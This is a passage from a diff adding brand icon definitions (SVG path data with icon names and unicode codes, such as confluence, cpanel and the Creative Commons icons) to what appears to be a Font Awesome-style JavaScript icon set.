98.3-219.5 219.5S126.8 475.5 248 475.5c78.6 0 146.5-42.1 185.5-110.4z" ], + confluence: [ 512, 512, [], "f78d", "M2.3 412.2c-4.5 7.6-2.1 17.5 5.5 22.2l105.9 65.2c7.7 4.7 17.7 2.4 22.4-5.3 0-.1.1-.2.1-.2 67.1-112.2 80.5-95.9 280.9-.7 8.1 3.9 17.8.4 21.7-7.7.1-.1.1-.3.2-.4l50.4-114.1c3.6-8.1-.1-17.6-8.1-21.3-22.2-10.4-66.2-31.2-105.9-50.3C127.5 179 44.6 345.3 2.3 412.2zm507.4-312.1c4.5-7.6 2.1-17.5-5.5-22.2L398.4 12.8c-7.5-5-17.6-3.1-22.6 4.4-.2.3-.4.6-.6 1-67.3 112.6-81.1 95.6-280.6.9-8.1-3.9-17.8-.4-21.7 7.7-.1.1-.1.3-.2.4L22.2 141.3c-3.6 8.1.1 17.6 8.1 21.3 22.2 10.4 66.3 31.2 106 50.4 248 120 330.8-45.4 373.4-112.9z" ], + connectdevelop: [ 576, 512, [], "f20e", "M550.5 241l-50.089-86.786c1.071-2.142 1.875-4.553 1.875-7.232 0-8.036-6.696-14.733-14.732-15.001l-55.447-95.893c.536-1.607 1.071-3.214 1.071-4.821 0-8.571-6.964-15.268-15.268-15.268-4.821 0-8.839 2.143-11.786 5.625H299.518C296.839 18.143 292.821 16 288 16s-8.839 2.143-11.518 5.625H170.411C167.464 18.143 163.447 16 158.625 16c-8.303 0-15.268 6.696-15.268 15.268 0 1.607.536 3.482 1.072 4.821l-55.983 97.233c-5.356 2.41-9.107 7.5-9.107 13.661 0 .535.268 1.071.268 1.607l-53.304 92.143c-7.232 1.339-12.59 7.5-12.59 15 0 7.232 5.089 13.393 12.054 15l55.179 95.358c-.536 1.607-.804 2.946-.804 4.821 0 7.232 5.089 13.393 12.054 14.732l51.697 89.732c-.536 1.607-1.071 3.482-1.071 5.357 0 8.571 6.964 15.268 15.268 15.268 4.821 0 8.839-2.143 11.518-5.357h106.875C279.161 493.857 283.447 496 288 496s8.839-2.143 11.518-5.357h107.143c2.678 2.946 6.696 4.821 10.982 4.821 8.571 0 15.268-6.964 15.268-15.268 0-1.607-.267-2.946-.803-4.285l51.697-90.268c6.964-1.339 12.054-7.5 12.054-14.732 0-1.607-.268-3.214-.804-4.821l54.911-95.358c6.964-1.339 12.322-7.5 12.322-15-.002-7.232-5.092-13.393-11.788-14.732zM153.535 450.732l-43.66-75.803h43.66v75.803zm0-83.839h-43.66c-.268-1.071-.804-2.142-1.339-3.214l44.999-47.41v50.624zm0-62.411l-50.357 53.304c-1.339-.536-2.679-1.34-4.018-1.607L43.447 259.75c.535-1.339.535-2.679.535-4.018s0-2.41-.268-3.482l51.965-90c2.679-.268 5.357-1.072 7.768-2.679l50.089 51.965v92.946zm0-102.322l-45.803-47.41c1.339-2.143 2.143-4.821 2.143-7.767 0-.268-.268-.804-.268-1.072l43.928-15.804v72.053zm0-80.625l-43.66 15.804 43.66-75.536v59.732zm326.519 39.108l.804 1.339L445.5 329.125l-63.75-67.232 98.036-101.518.268.268zM291.75 355.107l11.518 11.786H280.5l11.25-11.786zm-.268-11.25l-83.303-85.446 79.553-84.375 83.036 87.589-79.286 82.232zm5.357 5.893l79.286-82.232 67.5 71.25-5.892 28.125H313.714l-16.875-17.143zM410.411 44.393c1.071.536 2.142 1.072 3.482 1.34l57.857 100.714v.536c0 2.946.803 5.624 2.143 7.767L376.393 256l-83.035-87.589L410.411 44.393zm-9.107-2.143L287.732 162.518l-57.054-60.268 166.339-60h4.287zm-123.483 0c2.678 2.678 6.16 4.285 10.179 4.285s7.5-1.607 10.179-4.285h75L224.786 95.821 173.893 42.25h103.928zm-116.249 5.625l1.071-2.142a33.834 33.834 0 0 0 2.679-.804l51.161 53.84-54.911 19.821V47.875zm0 79.286l60.803-21.964 59.732 63.214-79.553 84.107-40.982-42.053v-83.304zm0 92.678L198 257.607l-36.428 38.304v-76.072zm0 87.858l42.053-44.464 82.768 85.982-17.143 17.678H161.572v-59.196zm6.964 162.053c-1.607-1.607-3.482-2.678-5.893-3.482l-1.071-1.607v-89.732h99.91l-91.607 94.821h-1.339zm129.911 0c-2.679-2.41-6.428-4.285-10.447-4.285s-7.767 1.875-10.447 4.285h-96.429l91.607-94.821h38.304l91.607 94.821H298.447zm120-11.786l-4.286 7.5c-1.339.268-2.41.803-3.482 1.339l-89.196-91.875h114.376l-17.412 83.036zm12.856-22.232l12.858-60.803h21.964l-34.822 60.803zm34.822-68.839h-20.357l4.553-21.16 17.143 18.214c-.535.803-1.071 1.874-1.339 2.946zm66.161-107.411l-55.447 96.697c-1.339.535-2.679 1.071-4.018 1.874l-20.625-21.964 34.554-163.928 45.803 79.286c-.267 1.339-.803 2.678-.803 4.285 0 1.339.268 2.411.536 3.75z" ], + contao: [ 512, 512, [], "f26d", "M45.4 305c14.4 67.1 26.4 129 68.2 175H34c-18.7 0-34-15.2-34-34V66c0-18.7 15.2-34 34-34h57.7C77.9 44.6 65.6 59.2 54.8 75.6c-45.4 70-27 146.8-9.4 229.4zM478 32h-90.2c21.4 21.4 39.2 49.5 52.7 84.1l-137.1 29.3c-14.9-29-37.8-53.3-82.6-43.9-24.6 5.3-41 19.3-48.3 34.6-8.8 18.7-13.2 39.8 8.2 140.3 21.1 100.2 33.7 117.7 49.5 131.2 12.9 11.1 33.4 17 58.3 11.7 44.5-9.4 55.7-40.7 57.4-73.2l137.4-29.6c3.2 71.5-18.7 125.2-57.4 163.6H478c18.7 0 34-15.2 34-34V66c0-18.8-15.2-34-34-34z" ], + "cotton-bureau": [ 512, 512, [], "f89e", "M474.31 330.41c-23.66 91.85-94.23 144.59-201.9 148.35V429.6c0-48 26.41-74.39 74.39-74.39 62 0 99.2-37.2 99.2-99.21 0-61.37-36.53-98.28-97.38-99.06-33-69.32-146.5-64.65-177.24 0C110.52 157.72 74 194.63 74 256c0 62.13 37.27 99.41 99.4 99.41 48 0 74.55 26.23 74.55 74.39V479c-134.43-5-211.1-85.07-211.1-223 0-141.82 81.35-223.2 223.2-223.2 114.77 0 189.84 53.2 214.69 148.81H500C473.88 71.51 388.22 8 259.82 8 105 8 12 101.19 12 255.82 12 411.14 105.19 504.34 259.82 504c128.27 0 213.87-63.81 239.67-173.59zM357 182.33c41.37 3.45 64.2 29 64.2 73.67 0 48-26.43 74.41-74.4 74.41-28.61 0-49.33-9.59-61.59-27.33 83.06-16.55 75.59-99.67 71.79-120.75zm-81.68 97.36c-2.46-10.34-16.33-87 56.23-97 2.27 10.09 16.52 87.11-56.26 97zM260 132c28.61 0 49 9.67 61.44 27.61-28.36 5.48-49.36 20.59-61.59 43.45-12.23-22.86-33.23-38-61.6-43.45 12.41-17.69 33.27-27.35 61.57-27.35zm-71.52 50.72c73.17 10.57 58.91 86.81 56.49 97-72.41-9.84-59-86.95-56.25-97zM173.2 330.41c-48 0-74.4-26.4-74.4-74.41 0-44.36 22.86-70 64.22-73.67-6.75 37.2-1.38 106.53 71.65 120.75-12.14 17.63-32.84 27.3-61.14 27.3zm53.21 12.39A80.8 80.8 0 0 0 260 309.25c7.77 14.49 19.33 25.54 33.82 33.55a80.28 80.28 0 0 0-33.58 33.83c-8-14.5-19.07-26.23-33.56-33.83z" ], + cpanel: [ 640, 512, [], "f388", "M210.3 220.2c-5.6-24.8-26.9-41.2-51-41.2h-37c-7.1 0-12.5 4.5-14.3 10.9L73.1 320l24.7-.1c6.8 0 12.3-4.5 14.2-10.7l25.8-95.7h19.8c8.4 0 16.2 5.6 18.3 14.8 2.5 10.9-5.9 22.6-18.3 22.6h-10.3c-7 0-12.5 4.6-14.3 10.8l-6.4 23.8h32c37.2 0 58.3-36.2 51.7-65.3zm-156.5 28h18.6c6.9 0 12.4-4.4 14.3-10.9l6.2-23.6h-40C30 213.7 9 227.8 1.7 254.8-7 288.6 18.5 320 52 320h12.4l7.1-26.1c1.2-4.4-2.2-8.3-6.4-8.3H53.8c-24.7 0-24.9-37.4 0-37.4zm247.5-34.8h-77.9l-3.5 13.4c-2.4 9.6 4.5 18.5 14.2 18.5h57.5c4 0 2.4 4.3 2.1 5.3l-8.6 31.8c-.4 1.4-.9 5.3-5.5 5.3h-34.9c-5.3 0-5.3-7.9 0-7.9h21.6c6.8 0 12.3-4.6 14.2-10.8l3.5-13.2h-48.4c-39.2 0-43.6 63.8-.7 63.8l57.5.2c11.2 0 20.6-7.2 23.4-17.8l14-51.8c4.8-19.2-9.7-36.8-28.5-36.8zM633.1 179h-18.9c-4.9 0-9.2 3.2-10.4 7.9L568.2 320c20.7 0 39.8-13.8 44.9-34.5l26.5-98.2c1.2-4.3-2-8.3-6.5-8.3zm-236.3 34.7v.1h-48.3l-26.2 98c-1.2 4.4 2.2 8.3 6.4 8.3h18.9c4.8 0 9.2-3 10.4-7.8l17.2-64H395c12.5 0 21.4 11.8 18.1 23.4l-10.6 40c-1.2 4.3 1.9 8.3 6.4 8.3H428c4.6 0 9.1-2.9 10.3-7.8l8.8-33.1c9-33.1-15.9-65.4-50.3-65.4zm98.3 74.6c-3.6 0-6-3.4-5.1-6.7l8-30c.9-3.9 3.7-6 7.8-6h32.9c2.6 0 4.6 2.4 3.9 5.1l-.7 2.6c-.6 2-1.9 3-3.9 3h-21.6c-7 0-12.6 4.6-14.2 10.8l-3.5 13h53.4c10.5 0 20.3-6.6 23.2-17.6l3.2-12c4.9-19.1-9.3-36.8-28.3-36.8h-47.3c-17.9 0-33.8 12-38.6 29.6l-10.8 40c-5 17.7 8.3 36.7 28.3 36.7h66.7c6.8 0 12.3-4.5 14.2-10.7l5.7-21z" ], + "creative-commons": [ 496, 512, [], "f25e", "M245.83 214.87l-33.22 17.28c-9.43-19.58-25.24-19.93-27.46-19.93-22.13 0-33.22 14.61-33.22 43.84 0 23.57 9.21 43.84 33.22 43.84 14.47 0 24.65-7.09 30.57-21.26l30.55 15.5c-6.17 11.51-25.69 38.98-65.1 38.98-22.6 0-73.96-10.32-73.96-77.05 0-58.69 43-77.06 72.63-77.06 30.72-.01 52.7 11.95 65.99 35.86zm143.05 0l-32.78 17.28c-9.5-19.77-25.72-19.93-27.9-19.93-22.14 0-33.22 14.61-33.22 43.84 0 23.55 9.23 43.84 33.22 43.84 14.45 0 24.65-7.09 30.54-21.26l31 15.5c-2.1 3.75-21.39 38.98-65.09 38.98-22.69 0-73.96-9.87-73.96-77.05 0-58.67 42.97-77.06 72.63-77.06 30.71-.01 52.58 11.95 65.56 35.86zM247.56 8.05C104.74 8.05 0 123.11 0 256.05c0 138.49 113.6 248 247.56 248 129.93 0 248.44-100.87 248.44-248 0-137.87-106.62-248-248.44-248zm.87 450.81c-112.54 0-203.7-93.04-203.7-202.81 0-105.42 85.43-203.27 203.72-203.27 112.53 0 202.82 89.46 202.82 203.26-.01 121.69-99.68 202.82-202.84 202.82z" ], + "creative-commons-by": [ 496, 512, [], "f4e7", "M314.9 194.4v101.4h-28.3v120.5h-77.1V295.9h-28.3V194.4c0-4.4 1.6-8.2 4.6-11.3 3.1-3.1 6.9-4.7 11.3-4.7H299c4.1 0 7.8 1.6 11.1 4.7 3.1 3.2 4.8 6.9 4.8 11.3zm-101.5-63.7c0-23.3 11.5-35 34.5-35s34.5 11.7 34.5 35c0 23-11.5 34.5-34.5 34.5s-34.5-11.5-34.5-34.5zM247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3z" ], + "creative-commons-nc": [ 496, 512, [], "f4e8", "M247.6 8C387.4 8 496 115.9 496 256c0 147.2-118.5 248-248.4 248C113.1 504 0 393.2 0 256 0 123.1 104.7 8 247.6 8zM55.8 189.1c-7.4 20.4-11.1 42.7-11.1 66.9 0 110.9 92.1 202.4 203.7 202.4 122.4 0 177.2-101.8 178.5-104.1l-93.4-41.6c-7.7 37.1-41.2 53-68.2 55.4v38.1h-28.8V368c-27.5-.3-52.6-10.2-75.3-29.7l34.1-34.5c31.7 29.4 86.4 31.8 86.4-2.2 0-6.2-2.2-11.2-6.6-15.1-14.2-6-1.8-.1-219.3-97.4zM248.4 52.3c-38.4 0-112.4 8.7-170.5 93l94.8 42.5c10-31.3 40.4-42.9 63.8-44.3v-38.1h28.8v38.1c22.7 1.2 43.4 8.9 62 23L295 199.7c-42.7-29.9-83.5-8-70 11.1 53.4 24.1 43.8 19.8 93 41.6l127.1 56.7c4.1-17.4 6.2-35.1 6.2-53.1 0-57-19.8-105-59.3-143.9-39.3-39.9-87.2-59.8-143.6-59.8z" ], + "creative-commons-nc-eu": [ 496, 512, [], "f4e9", "M247.7 8C103.6 8 0 124.8 0 256c0 136.3 111.7 248 247.7 248C377.9 504 496 403.1 496 256 496 117 388.4 8 247.7 8zm.6 450.7c-112 0-203.6-92.5-203.6-202.7 0-23.2 3.7-45.2 10.9-66l65.7 29.1h-4.7v29.5h23.3c0 6.2-.4 3.2-.4 19.5h-22.8v29.5h27c11.4 67 67.2 101.3 124.6 101.3 26.6 0 50.6-7.9 64.8-15.8l-10-46.1c-8.7 4.6-28.2 10.8-47.3 10.8-28.2 0-58.1-10.9-67.3-50.2h90.3l128.3 56.8c-1.5 2.1-56.2 104.3-178.8 104.3zm-16.7-190.6l-.5-.4.9.4h-.4zm77.2-19.5h3.7v-29.5h-70.3l-28.6-12.6c2.5-5.5 5.4-10.5 8.8-14.3 12.9-15.8 31.1-22.4 51.1-22.4 18.3 0 35.3 5.4 46.1 10l11.6-47.3c-15-6.6-37-12.4-62.3-12.4-39 0-72.2 15.8-95.9 42.3-5.3 6.1-9.8 12.9-13.9 20.1l-81.6-36.1c64.6-96.8 157.7-93.6 170.7-93.6 113 0 203 90.2 203 203.4 0 18.7-2.1 36.3-6.3 52.9l-136.1-60.5z" ], + "creative-commons-nc-jp": [ 496, 512, [], "f4ea", "M247.7 8C103.6 8 0 124.8 0 256c0 136.4 111.8 248 247.7 248C377.9 504 496 403.2 496 256 496 117.2 388.5 8 247.7 8zm.6 450.7c-112 0-203.6-92.5-203.6-202.7 0-21.1 3-41.2 9-60.3l127 56.5h-27.9v38.6h58.1l5.7 11.8v18.7h-63.8V360h63.8v56h61.7v-56h64.2v-35.7l81 36.1c-1.5 2.2-57.1 98.3-175.2 98.3zm87.6-137.3h-57.6v-18.7l2.9-5.6 54.7 24.3zm6.5-51.4v-17.8h-38.6l63-116H301l-43.4 96-23-10.2-39.6-85.7h-65.8l27.3 51-81.9-36.5c27.8-44.1 82.6-98.1 173.7-98.1 112.8 0 203 90 203 203.4 0 21-2.7 40.6-7.9 59l-101-45.1z" ], + "creative-commons-nd": [ 496, 512, [], "f4eb", "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm94 144.3v42.5H162.1V197h180.3zm0 79.8v42.5H162.1v-42.5h180.3z" ], + "creative-commons-pd": [ 496, 512, [], "f4ec", "M248 8C111 8 0 119.1 0 256c0 137 111 248 248 248s248-111 248-248C496 119.1 385 8 248 8zm0 449.5c-139.2 0-235.8-138-190.2-267.9l78.8 35.1c-2.1 10.5-3.3 21.5-3.3 32.9 0 99 73.9 126.9 120.4 126.9 22.9 0 53.5-6.7 79.4-29.5L297 311.1c-5.5 6.3-17.6 16.7-36.3 16.7-37.8 0-53.7-39.9-53.9-71.9 230.4 102.6 216.5 96.5 217.9 96.8-34.3 62.4-100.6 104.8-176.7 104.8zm194.2-150l-224-100c18.8-34 54.9-30.7 74.7-11l40.4-41.6c-27.1-23.3-58-27.5-78.1-27.5-47.4 0-80.9 20.5-100.7 51.6l-74.9-33.4c36.1-54.9 98.1-91.2 168.5-91.2 111.1 0 201.5 90.4 201.5 201.5 0 18-2.4 35.4-6.8 52-.3-.1-.4-.2-.6-.4z" ], + "creative-commons-pd-alt": [ 496, 512, [], "f4ed", "M247.6 8C104.7 8 0 123.1 0 256c0 138.5 113.6 248 247.6 248C377.5 504 496 403.1 496 256 496 118.1 389.4 8 247.6 8zm.8 450.8c-112.5 0-203.7-93-203.7-202.8 0-105.4 85.5-203.3 203.7-203.3 112.6 0 202.9 89.5 202.8 203.3 0 121.7-99.6 202.8-202.8 202.8zM316.7 186h-53.2v137.2h53.2c21.4 0 70-5.1 70-68.6 0-63.4-48.6-68.6-70-68.6zm.8 108.5h-19.9v-79.7l19.4-.1c3.8 0 35-2.1 35 39.9 0 24.6-10.5 39.9-34.5 39.9zM203.7 186h-68.2v137.3h34.6V279h27c54.1 0 57.1-37.5 57.1-46.5 0-31-16.8-46.5-50.5-46.5zm-4.9 67.3h-29.2v-41.6h28.3c30.9 0 28.8 41.6.9 41.6z" ], + "creative-commons-remix": [ 496, 512, [], "f4ee", "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm161.7 207.7l4.9 2.2v70c-7.2 3.6-63.4 27.5-67.3 28.8-6.5-1.8-113.7-46.8-137.3-56.2l-64.2 26.6-63.3-27.5v-63.8l59.3-24.8c-.7-.7-.4 5-.4-70.4l67.3-29.7L361 178.5v61.6l49.1 20.3zm-70.4 81.5v-43.8h-.4v-1.8l-113.8-46.5V295l113.8 46.9v-.4l.4.4zm7.5-57.6l39.9-16.4-36.8-15.5-39 16.4 35.9 15.5zm52.3 38.1v-43L355.2 298v43.4l44.3-19z" ], + "creative-commons-sa": [ 496, 512, [], "f4ef", "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zM137.7 221c13-83.9 80.5-95.7 108.9-95.7 99.8 0 127.5 82.5 127.5 134.2 0 63.6-41 132.9-128.9 132.9-38.9 0-99.1-20-109.4-97h62.5c1.5 30.1 19.6 45.2 54.5 45.2 23.3 0 58-18.2 58-82.8 0-82.5-49.1-80.6-56.7-80.6-33.1 0-51.7 14.6-55.8 43.8h18.2l-49.2 49.2-49-49.2h19.4z" ], + "creative-commons-sampling": [ 496, 512, [], "f4f0", "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm3.6 53.2c2.8-.3 11.5 1 11.5 11.5l6.6 107.2 4.9-59.3c0-6 4.7-10.6 10.6-10.6 5.9 0 10.6 4.7 10.6 10.6 0 2.5-.5-5.7 5.7 81.5l5.8-64.2c.3-2.9 2.9-9.3 10.2-9.3 3.8 0 9.9 2.3 10.6 8.9l11.5 96.5 5.3-12.8c1.8-4.4 5.2-6.6 10.2-6.6h58v21.3h-50.9l-18.2 44.3c-3.9 9.9-19.5 9.1-20.8-3.1l-4-31.9-7.5 92.6c-.3 3-3 9.3-10.2 9.3-3 0-9.8-2.1-10.6-9.3 0-1.9.6 5.8-6.2-77.9l-5.3 72.2c-1.1 4.8-4.8 9.3-10.6 9.3-2.9 0-9.8-2-10.6-9.3 0-1.9.5 6.7-5.8-87.7l-5.8 94.8c0 6.3-3.6 12.4-10.6 12.4-5.2 0-10.6-4.1-10.6-12l-5.8-87.7c-5.8 92.5-5.3 84-5.3 85.9-1.1 4.8-4.8 9.3-10.6 9.3-3 0-9.8-2.1-10.6-9.3 0-.7-.4-1.1-.4-2.6l-6.2-88.6L182 348c-.7 6.5-6.7 9.3-10.6 9.3-5.8 0-9.6-4.1-10.6-8.9L149.7 272c-2 4-3.5 8.4-11.1 8.4H87.2v-21.3H132l13.7-27.9c4.4-9.9 18.2-7.2 19.9 2.7l3.1 20.4 8.4-97.9c0-6 4.8-10.6 10.6-10.6.5 0 10.6-.2 10.6 12.4l4.9 69.1 6.6-92.6c0-10.1 9.5-10.6 10.2-10.6.6 0 10.6.7 10.6 10.6l5.3 80.6 6.2-97.9c.1-1.1-.6-10.3 9.9-11.5z" ], + "creative-commons-sampling-plus": [ 496, 512, [], "f4f1", "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm107 205.6c-4.7 0-9 2.8-10.7 7.2l-4 9.5-11-92.8c-1.7-13.9-22-13.4-23.1.4l-4.3 51.4-5.2-68.8c-1.1-14.3-22.1-14.2-23.2 0l-3.5 44.9-5.9-94.3c-.9-14.5-22.3-14.4-23.2 0l-5.1 83.7-4.3-66.3c-.9-14.4-22.2-14.4-23.2 0l-5.3 80.2-4.1-57c-1.1-14.3-22-14.3-23.2-.2l-7.7 89.8-1.8-12.2c-1.7-11.4-17.1-13.6-22-3.3l-13.2 27.7H87.5v23.2h51.3c4.4 0 8.4-2.5 10.4-6.4l10.7 73.1c2 13.5 21.9 13 23.1-.7l3.8-43.6 5.7 78.3c1.1 14.4 22.3 14.2 23.2-.1l4.6-70.4 4.8 73.3c.9 14.4 22.3 14.4 23.2-.1l4.9-80.5 4.5 71.8c.9 14.3 22.1 14.5 23.2.2l4.6-58.6 4.9 64.4c1.1 14.3 22 14.2 23.1.1l6.8-83 2.7 22.3c1.4 11.8 17.7 14.1 22.3 3.1l18-43.4h50.5V258l-58.4.3zm-78 5.2h-21.9v21.9c0 4.1-3.3 7.5-7.5 7.5-4.1 0-7.5-3.3-7.5-7.5v-21.9h-21.9c-4.1 0-7.5-3.3-7.5-7.5 0-4.1 3.4-7.5 7.5-7.5h21.9v-21.9c0-4.1 3.4-7.5 7.5-7.5s7.5 3.3 7.5 7.5v21.9h21.9c4.1 0 7.5 3.3 7.5 7.5 0 4.1-3.4 7.5-7.5 7.5z" ], + "creative-commons-share": [ 496, 512, [], "f4f2", "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm101 132.4c7.8 0 13.7 6.1 13.7 13.7v182.5c0 7.7-6.1 13.7-13.7 13.7H214.3c-7.7 0-13.7-6-13.7-13.7v-54h-54c-7.8 0-13.7-6-13.7-13.7V131.1c0-8.2 6.6-12.7 12.4-13.7h136.4c7.7 0 13.7 6 13.7 13.7v54h54zM159.9 300.3h40.7V198.9c0-7.4 5.8-12.6 12-13.7h55.8v-40.3H159.9v155.4zm176.2-88.1H227.6v155.4h108.5V212.2z" ], + "creative-commons-zero": [ 496, 512, [], "f4f3", "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm-.4 60.5c-81.9 0-102.5 77.3-102.5 142.8 0 65.5 20.6 142.8 102.5 142.8S350.5 321.5 350.5 256c0-65.5-20.6-142.8-102.5-142.8zm0 53.9c3.3 0 6.4.5 9.2 1.2 5.9 5.1 8.8 12.1 3.1 21.9l-54.5 100.2c-1.7-12.7-1.9-25.1-1.9-34.4 0-28.8 2-88.9 44.1-88.9zm40.8 46.2c2.9 15.4 3.3 31.4 3.3 42.7 0 28.9-2 88.9-44.1 88.9-13.5 0-32.6-7.7-20.1-26.4l60.9-105.2z" ], + "critical-role": [ 448, 512, [], "f6c9", "M225.82 0c.26.15 216.57 124.51 217.12 124.72 3 1.18 3.7 3.46 3.7 6.56q-.11 125.17 0 250.36a5.88 5.88 0 0 1-3.38 5.78c-21.37 12-207.86 118.29-218.93 124.58h-3C142 466.34 3.08 386.56 2.93 386.48a3.29 3.29 0 0 1-1.88-3.24c0-.87 0-225.94-.05-253.1a5 5 0 0 1 2.93-4.93C27.19 112.11 213.2 6 224.07 0zM215.4 20.42l-.22-.16Q118.06 75.55 21 130.87c0 .12.08.23.13.35l30.86 11.64c-7.71 6-8.32 6-10.65 5.13-.1 0-24.17-9.28-26.8-10v230.43c.88-1.41 64.07-110.91 64.13-111 1.62-2.82 3-1.92 9.12-1.52 1.4.09 1.48.22.78 1.42-41.19 71.33-36.4 63-67.48 116.94-.81 1.4-.61 1.13 1.25 1.13h186.5c1.44 0 1.69-.23 1.7-1.64v-8.88c0-1.34 2.36-.81-18.37-1-7.46-.07-14.14-3.22-21.38-12.7-7.38-9.66-14.62-19.43-21.85-29.21-2.28-3.08-3.45-2.38-16.76-2.38-1.75 0-1.78 0-1.76 1.82.29 26.21.15 25.27 1 32.66.52 4.37 2.16 4.2 9.69 4.81 3.14.26 3.88 4.08.52 4.92-1.57.39-31.6.51-33.67-.1a2.42 2.42 0 0 1 .3-4.73c3.29-.76 6.16.81 6.66-4.44 1.3-13.66 1.17-9 1.1-79.42 0-10.82-.35-12.58-5.36-13.55-1.22-.24-3.54-.16-4.69-.55-2.88-1-2-4.84 1.77-4.85 33.67 0 46.08-1.07 56.06 4.86 7.74 4.61 12 11.48 12.51 20.4.88 14.59-6.51 22.35-15 32.59a1.46 1.46 0 0 0 0 2.22c2.6 3.25 5 6.63 7.71 9.83 27.56 33.23 24.11 30.54 41.28 33.06.89.13 1-.42 1-1.15v-11c0-1 .32-1.43 1.41-1.26a72.37 72.37 0 0 0 23.58-.3c1.08-.15 1.5.2 1.48 1.33 0 .11.88 26.69.87 26.8-.05 1.52.67 1.62 1.89 1.62h186.71Q386.51 304.6 346 234.33c2.26-.66-.4 0 6.69-1.39 2-.39 2.05-.41 3.11 1.44 7.31 12.64 77.31 134 77.37 134.06V138c-1.72.5-103.3 38.72-105.76 39.68-1.08.42-1.55.2-1.91-.88-.63-1.9-1.34-3.76-2.09-5.62-.32-.79-.09-1.13.65-1.39.1 0 95.53-35.85 103-38.77-65.42-37.57-130.56-75-196-112.6l86.82 150.39-.28.33c-9.57-.9-10.46-1.6-11.8-3.94-1-1.69-73.5-127.71-82-142.16-9.1 14.67-83.56 146.21-85.37 146.32-2.93.17-5.88.08-9.25.08q43.25-74.74 86.18-149zm51.93 129.92a37.68 37.68 0 0 0 5.54-.85c1.69-.3 2.53.2 2.6 1.92 0 .11.07 19.06-.86 20.45s-1.88 1.22-2.6-.19c-5-9.69 6.22-9.66-39.12-12-.7 0-1 .23-1 .93 0 .13 3.72 122 3.73 122.11 0 .89.52 1.2 1.21 1.51a83.92 83.92 0 0 1 8.7 4.05c7.31 4.33 11.38 10.84 12.41 19.31 1.44 11.8-2.77 35.77-32.21 37.14-2.75.13-28.26 1.08-34.14-23.25-4.66-19.26 8.26-32.7 19.89-36.4a2.45 2.45 0 0 0 2-2.66c.1-5.63 3-107.1 3.71-121.35.05-1.08-.62-1.16-1.35-1.15-32.35.52-36.75-.34-40.22 8.52-2.42 6.18-4.14 1.32-3.95.23q1.59-9 3.31-18c.4-2.11 1.43-2.61 3.43-1.86 5.59 2.11 6.72 1.7 37.25 1.92 1.73 0 1.78-.08 1.82-1.85.68-27.49.58-22.59 1-29.55a2.69 2.69 0 0 0-1.63-2.8c-5.6-2.91-8.75-7.55-8.9-13.87-.35-14.81 17.72-21.67 27.38-11.51 6.84 7.19 5.8 18.91-2.45 24.15a4.35 4.35 0 0 0-2.22 4.34c0 .59-.11-4.31 1 30.05 0 .9.43 1.12 1.24 1.11.1 0 23-.09 34.47-.37zM68.27 141.7c19.84-4.51 32.68-.56 52.49 1.69 2.76.31 3.74 1.22 3.62 4-.21 5-1.16 22.33-1.24 23.15a2.65 2.65 0 0 1-1.63 2.34c-4.06 1.7-3.61-4.45-4-7.29-3.13-22.43-73.87-32.7-74.63 25.4-.31 23.92 17 53.63 54.08 50.88 27.24-2 19-20.19 24.84-20.47a2.72 2.72 0 0 1 3 3.36c-1.83 10.85-3.42 18.95-3.45 19.15-1.54 9.17-86.7 22.09-93.35-42.06-2.71-25.85 10.44-53.37 40.27-60.15zm80 87.67h-19.49a2.57 2.57 0 0 1-2.66-1.79c2.38-3.75 5.89.92 5.86-6.14-.08-25.75.21-38 .23-40.1 0-3.42-.53-4.65-3.32-4.94-7-.72-3.11-3.37-1.11-3.38 11.84-.1 22.62-.18 30.05.72 8.77 1.07 16.71 12.63 7.93 22.62-2 2.25-4 4.42-6.14 6.73.95 1.15 6.9 8.82 17.28 19.68 2.66 2.78 6.15 3.51 9.88 3.13a2.21 2.21 0 0 0 2.23-2.12c.3-3.42.26 4.73.45-40.58 0-5.65-.34-6.58-3.23-6.83-3.95-.35-4-2.26-.69-3.37l19.09-.09c.32 0 4.49.53 1 3.38 0 .05-.16 0-.24 